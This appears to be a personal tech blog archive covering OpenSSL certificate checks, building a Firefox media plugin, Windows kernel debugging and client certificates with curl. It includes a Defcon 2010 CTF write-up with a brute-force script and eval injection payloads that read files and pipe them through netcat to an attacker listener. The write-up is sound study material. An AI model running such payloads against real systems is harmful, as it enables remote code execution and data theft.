0

OpenSSL-fu

-

If you want to find out the components of a site’s certificate the following commands will help you.
If you want to find if the certificate is signed with the weak MD5 signature algorithm:
$ echo | openssl s_client -connect webserver.example.com:443 2>/dev/null | sed -ne ‘/—–BEGIN CERTIFICATE—–/,/—–END CERTIFICATE—–/p’ | openssl x509 -text | grep “Signature Algorithm”| gawk ‘{print $3}’

$ echo | openssl s_client -connect 167.155.38.24:443 2>/dev/null | sed -ne ‘/—–BEGIN CERTIFICATE—–/,/—–END CERTIFICATE—–/p’ | openssl x509 -text | grep “Exponent”

0

Installing mplayerplug-in for Firefox-1.0.4

-

I love the site www.big-boys.com but in linux it would not play so I wanted to install a browser plugin that would play wmv files.
Here’s how I went about it. First I installed mplayer using yum (I use FC4 with kernel 2.6.13.2).
yum install mplayer
Make sure the internet connection is present when you run this command.

Then I went to Linux Plugins site to get the mplayerplugin. It redirected me to Mplayer Sourceforge site.

Then I downloaded the source of mplayerplug-in from Sourceforge download page for Mplayerplug-in.
Once I did that then came the main struggle of compiling and getting this to run.

I first untarred the file with command:

tar zxvf mplayerplug-in-3.11.tar.gz
cd mplayerplug-in
./configure –with-gecko-sdk=/usr/include/mozilla-1.7.8/
make

But this resulted in a bunch of errors.
I realized that an extra slash was put in there so I opened the Makefile with vim and removed the extra slash at the end of the string /usr/include/mozilla-1.7.8/ in the Makefile.
Tried to make again but again errors this time around some include files called prtypes.h was missing.

I noticed that in the CFLAGS section of the Makefile there was a space between -I and /usr/include. Deleted those.

So opened the Makefile in vim again and added the string -I/usr/include/mozilla-1.7.8/nspr/ to the CFLAGS section of the Makefile.

Also added -L/usr/lib/firefox-1.0.4/ to the LFLAGS section coz I was getting some linker errors after that. The struggle was not over.

I got a linker error :

/usr/bin/ld: cannot find -lxpcomglue
collect2: ld returned 1 exit status

Changed the -lxpcomglue in Makefile to -lxpcom.
Finally, the compilation and the build were successful. Then the final command
cp mplayerplug-in*.so /usr/lib/firefox-1.0.4/plugins/
And now I have mplayerplug-in live and kicking!

-Rajat.

0

Setting up a Windows 7 Kernel Development Environment

-

If you are writing some Ring0 (or privileged mode code), say something like device drivers in Windows you’d probably be better served with a separate development machine and a deployment machine. This helps you to write poor code and still not lose hair because your development machine blue screens! ūüôā

My setup was using a Windows 8.1 development machine and a Hyper-V based Windows 7 machine for debugging. You will need to execute different tasks on the “guest” (Hyper-V based Windows 7 virtual machine) and some other tasks on the development machine. ¬†I followed many of the things from the MSDN blog post here

On your guest machine you would want to setup a named pipe and setup debug settings. To do that this is what you need to do:

Setup a virtual com port in the Hyper-V Settings (File -> Settings) , this port will be used to communicate from the host machine to the guest to communicate the Kernel debugging commands.
Untitled

 

Now make sure that your target guest machine is configured to “listen” those commands. ¬†Inside the guest VM, start a command shell (cmd.exe -> Run as Administrator).

Untitled2

 

Configure the bcdedit commands so that the machine can now be debugged.  Right after the 2nd command, reboot your Virtual Machine.

Untitled3

 

With the VM now configured to listen the debug commands via the COM1 port, and the debug mode on in the bootup settings, now start the WinDbg x64 on the host (using “Run as administrator”; you need administrative privileges for communication via Serial port). ¬†In your kernel debugger on the host or the development machine (I’m assuming that these are both on the same physical hardware here). ¬†Click on File -> Kernel Debug and you should see the following screen in the WinDbg window:

Untitled4

Hit Ctrl+Break or Debug -> Break and you will see something like this:

Untitled5

Just remember that when you break in the debugger, your guest in Hyper-V should become “unresponsive”. ¬†The only thing is that it is not¬†really unresponsive, its just being debugged. ¬†Just to make sure, that you have the symbols package that is quite useful for debugging run the following command:

!process 0 0

If you see something like the following screen show up:

Untitled6

The following error means that the symbols are not defined.  Symbols help the debugger give more information about the commands that you are going to execute in the debugger.

**** NT ACTIVE PROCESS DUMP ****
NT symbols are incorrect, please fix symbols

To fix this, use the following commands:

kd> .sympath SRV*c:\symcache*http://msdl.microsoft.com/download/symbols
kd> .symfix
kd> .symfix c:\symcache
kd> !sym noisy
kd> .reload /o

Then again try the command: !process 0 0 and see if you get a good response.  A good response looks like the following:

Untitled7

With this you should be good to go! Happy debugging and writing cool Ring0 code.

 

 

0

InfoSec Pals

-

I recently started blogging for InfoSec Pals. It was started by Palan Annamalai who was my colleague at Ernst & Young’s Advanced Security Center where I worked for a year and a half. Other people who are active bloggers on the site apart from Palan and I are : Sri Vasudevan, Jay Kelath and Felipe Moreno. Let’s see if I can maintain the technical content of both the blogs and keep the goodies coming.

0

Pwtent Pwnable 200 Writeup CTF Quals 2010

-

This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals.
The question was:
Running on pwn8.ddtek.biz. And this file was given.

If you open this file in an editor you see the following screen:

Note that there are references to lottod.pys file which indicates that this could be a python script file.  Sure enough, if you decompile it using decompyle you get the following source.

class ForkedTCPRequestHandler(SocketServer.StreamRequestHandler):
    __module__ = __name__
    lotto_grid = None
    connstream_fobj = None

    def setup(self):
        signal.signal(signal.SIGALRM, self.handleSessionTimeout)
        signal.alarm(SESSION_LIMIT_TIME)

    def handleSessionTimeout(self, signum, frame):
        raise socket.timeout

    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])

        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])

        return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))

        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

    def playGame(self):
        self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

    def handle(self):
        rand_seed = self.request.getpeername()[1]
        self.connstream_fobj = self.request.makefile()
        random.seed(rand_seed)
        self.request.send('Welcome to lottod good luck!\n')
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        self.winners = self.createWinners()
        self.request.send('Your random picks are:\n')
        for pick_idx in range(0, PICK_SIZE):
            self.request.send(('%d. %s\n' % (pick_idx,
             self.lotto_grid[self.pick_list[pick_idx]])))

        self.handlePickChange()
        self.playGame()

class ForkedTCPServer(SocketServer.ForkingMixIn,
 SocketServer.TCPServer):
    __module__ = __name__
    timeout = 5
    request_queue_size = 10

def runServer():
    (HOST, PORT,) = ('0.0.0.0',
     10024)
    server = ForkedTCPServer((HOST,
     PORT), ForkedTCPRequestHandler)
    server.serve_forever()

def doFork(n):
    try:
        pid = fork()
        if ((pid > 0) and (n > 0)):
            print ('Lottod PID %d' % pid)
        if (pid > 0):
            exit(0)
    except OSError, e:
        print ('Fork %d failed %d (%s)' % (n,
         e.errno,
         e.strerror))
        exit(1)

if (__name__ == '__main__'):
    doFork(0)
    chdir('/')
    setsid()
    umask(0)
    doFork(1)
    runServer()

# local variables:
# tab-width: 4

If you notice, this indicates that the server is running on port 10024 and indeed it was on pwn8.ddtek.biz. If you read through the code you also see that the source port number is being used as a seed to the pseudo-random number generator (PRNG).

rand_seed = self.request.getpeername()[1]

So I fired up netcat to see if indeed that was the case and sure enough no matter how many times I fired up the command the options I’d see would always be the same.

# nc -vv -p 1  pwn8.ddtek.biz 10024

If you see through the code of the decompiled file, it shows that the location to write as well the value to be written can be controlled by the user in the following snippet:

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

So I first wrote up a python script that followed the exact sequence of command as the decompiled code and found that there was no combination in the 65535 source port (or seeds) that would satisfy the following condition (the condition for winning):

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

But then you also see that the first element of the self.lotto_grid list is a function pointer. Also, you notice that there’s an eval() function that essentially executed the checkWinners function.
So I wrote up the following python script that would go through all possible combinations of ports and index values to overwrite so that I could overwrite the self.lotto_grid[0] value because that’d give me control of the execution flow.

# !/usr/bin/python
import random
RAND_MAX = (2 ** 20)
PICK_SIZE = 5
MAX_READ = 128
LOTTO_GRID_SIZE = 299
SESSION_LIMIT_TIME = 30
MAX_PICK_CHANGES = 5
WINNER_CHECK_FUNCTION = 'self.checkWinners'

class Test:
    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])
	#print "Winners are: ", winners
        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])
	return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))
	#counter = 0
	#while counter < len(grid):
	#	print grid[counter]
	#	counter += 1
        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))
        if winner:
            print "ZOMG You won!!!\n'"
	    return True
        else:
            print "Sorry you aren't very lucky... Maybe you have better luck with women?\n"
	    return False

    def playGame(self):
        #self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
        #    input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
        #    if (input.strip() == ''):
        #        break
        #    else:
        #        idx_to_edit = int(input)
        #        l = self.getLine('Input your new pick\n')
        #        self.lotto_grid[self.pick_list[idx_to_edit]] = l
		for idx_to_edit in range(-PICK_SIZE,PICK_SIZE):
			if self.lotto_grid[self.pick_list[idx_to_edit]]==self.lotto_grid[0]:
				print "Ind: %d, %s" % (idx_to_edit,self.lotto_grid[0])
				return True
	return False
	#gridcounter = 0
	#found = False
	#while gridcounter < len(self.lotto_grid):
	#  if self.lotto_grid[gridcounter] in self.winners:
	#    if gridcounter < PICK_SIZE:
	#      print "Gridctr: %d : %d" % (gridcounter,self.lotto_grid[gridcounter])
	#      found = True
	#  gridcounter += 1
	#return found
	#allfound = False
	#instances = 0
	#for x in self.winners:
	#	foundx = False
	#	gridctr = -LOTTO_GRID_SIZE
	#	while gridctr < LOTTO_GRID_SIZE:#len(self.lotto_grid):
	#			foundx = True
	#			print "gridctr: %d , val = %d " % (gridctr,x)
	#			#break
	#		gridctr += 1
	#	if foundx:
	#		allfound = True
	#	else:
	#		allfound = False
	#		return False
	#return allfound

    def handle(self,port):
        random.seed(port)
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        #print "picklist : ",self.pick_list
	self.winners = self.createWinners()
        #for pick_idx in range(0, PICK_SIZE):
        #    print(('%d. %s\n' % (pick_idx,
        #     self.lotto_grid[self.pick_list[pick_idx]])))
        if self.handlePickChange():
		return True
	return False
        #self.playGame()
	#if self.checkWinners(self.lotto_grid[1:]):
	#	return True
	#return False

test = Test()
portno = 0
while portno < 65536:
  print "Trying...%d" % ( portno )
  if test.handle(portno):
	print "Success! on port %d" % (portno)
    	#break
  portno += 1

Once you run this you get the following values for port and index: 28741 & -5 respectively.

$ sudo nc -vv pwn8.ddtek.biz 10024 -p 28741
Warning: inverse host lookup failed for 192.41.96.63: Unknown server error : Connection timed out
pwn8.ddtek.biz [192.41.96.63] 10024 (?) open
Welcome to lottod good luck!
Your random picks are:
0. self.checkWinners
1. 321358
2. 144737
3. 447310
4. 63867
Input the number of the pick that you wish to change or newline to stop:
-5
Input your new pick
self.checkWinners(self.winners.clear())
Input the number of the pick that you wish to change or newline to stop:

Thanks for your choices, calculating if you won...ZOMG You won!!!
 sent 44, rcvd 344
trance@bt:~$

But then this still does not give you the answer. The key here is to realize that you can perform remote command injection. So if you start a nc listener on your server and give following parameters for the new pick for the same index of -5 (in multiple runs of course) you can start enumerating the directories:

self.checkWinners(__import__('os').system('ls /home|nc MYIP 8888'))
self.checkWinners(__import__('os').system('ls /home/lottod|nc MYIP 8888'))
self.checkWinners(__import__('os').system('cat /home/lottod/key|nc MYIP 8888'))

After the last command your netcat listener shell shows the following string:
holdem is a safer bet than lotto

And that is indeed the answer to the challenge!

The python file is located here: Pp200sol.py.

0

Craigslist Scams

-

One of my acquaintances told me today of an innovative scam.
So this friend of mine posted an advertisement for renting her apartment out on craigslist. As soon as she posted the ad, an email response came that looked absolutely legitimate.
The respondent claimed that he was a professor in the UK and would be visiting the US on a sabbatical. He even listed a phone number for contact as well as gave some very legitimate looking references. The respondent also said that he wanted to rent the apartment in about 1 months’ time. So far all good. My friend contacted the respondent over the phone and there was nothing odd about the conversation.
In the subsequent conversations, the respondent requested my friend to collect delivery of the furniture for his apartment (which he had indicated that he was going to rent). The respondent said that he would send a check to her and she should then collect the delivery of the furniture and pay the furniture company out of her own pocket. The respondent even sent in a personal check to my friend in advance. She deposited it and sure enough, the amount showed up in the bank account. But what had her spooked out, was how could someone give away a check to some one just like that. For some reason, due to a weird hunch, she decided that she was not going to engage in any financial transactions on the behalf of someone who was sitting hundreds of miles away who she barely knew. In the end, it was this hunch that saved her from losing the money.
So the respondent (thinking that my friend had agreed to undertake the transaction on his behalf) gave her the phone number and information of the furniture company. My friend googled the furniture company but could not find anything. Moreover, the furniture company would not even pick up the phone. This put my friend in doubt over the dubiousness of the potential renter. As it turned out, that the check bounced a couple of days later and if she’d paid the furniture company it might have been used as a way to steal money from my unsuspecting friend.
I guess what could be interesting to know here is that if there was a legitimate phone number (say from Google voice) and a legitimate website (which costs a few dollars for a month now), then my friend could have possibly been duped.
This serves as a reminder to us of the reality of the world we’re living in where scammers are looking for an opportunity to dupe us.

5

Using Certificates with cURL

-

The problem: Using Digital Certificates issued by a Certification Authority (CA) with curl.

The situation: I have a .cer (Digital Certificate) file, .pfx (Personal Information Exchange file i.e., the private key for the certificate). I cannot use either of these to authenticate to the web service as curl would not accept these formats.

The solution:
1) Convert it into PEM format (X.509 certificate) using openssl.
openssl pkcs12 -in abcd.pfx -out abcd.pem
Enter a passphrase and a password.
2) Still you cannot use this with curl because you’d get a few errors.
3) Convert this PEM certificate into three different certificates for the client, the private key and the certification authority certificate.
openssl pkcs12 -in abcd.pfx -out ca.pem -cacerts -nokeys
openssl pkcs12 -in abcd.pfx -out client.pem -clcerts -nokeys
openssl pkcs12 -in abcd.pfx -out key.pem -nocerts
4) Use the following command:
curl -k https://www.thesitetoauthenticate.com/test -v –key key.pem –cacert ca.pem –cert client.pem:

This stuff is also mentioned on curl forum at http://curl.haxx.se/mail/archive-2005-09/0138.html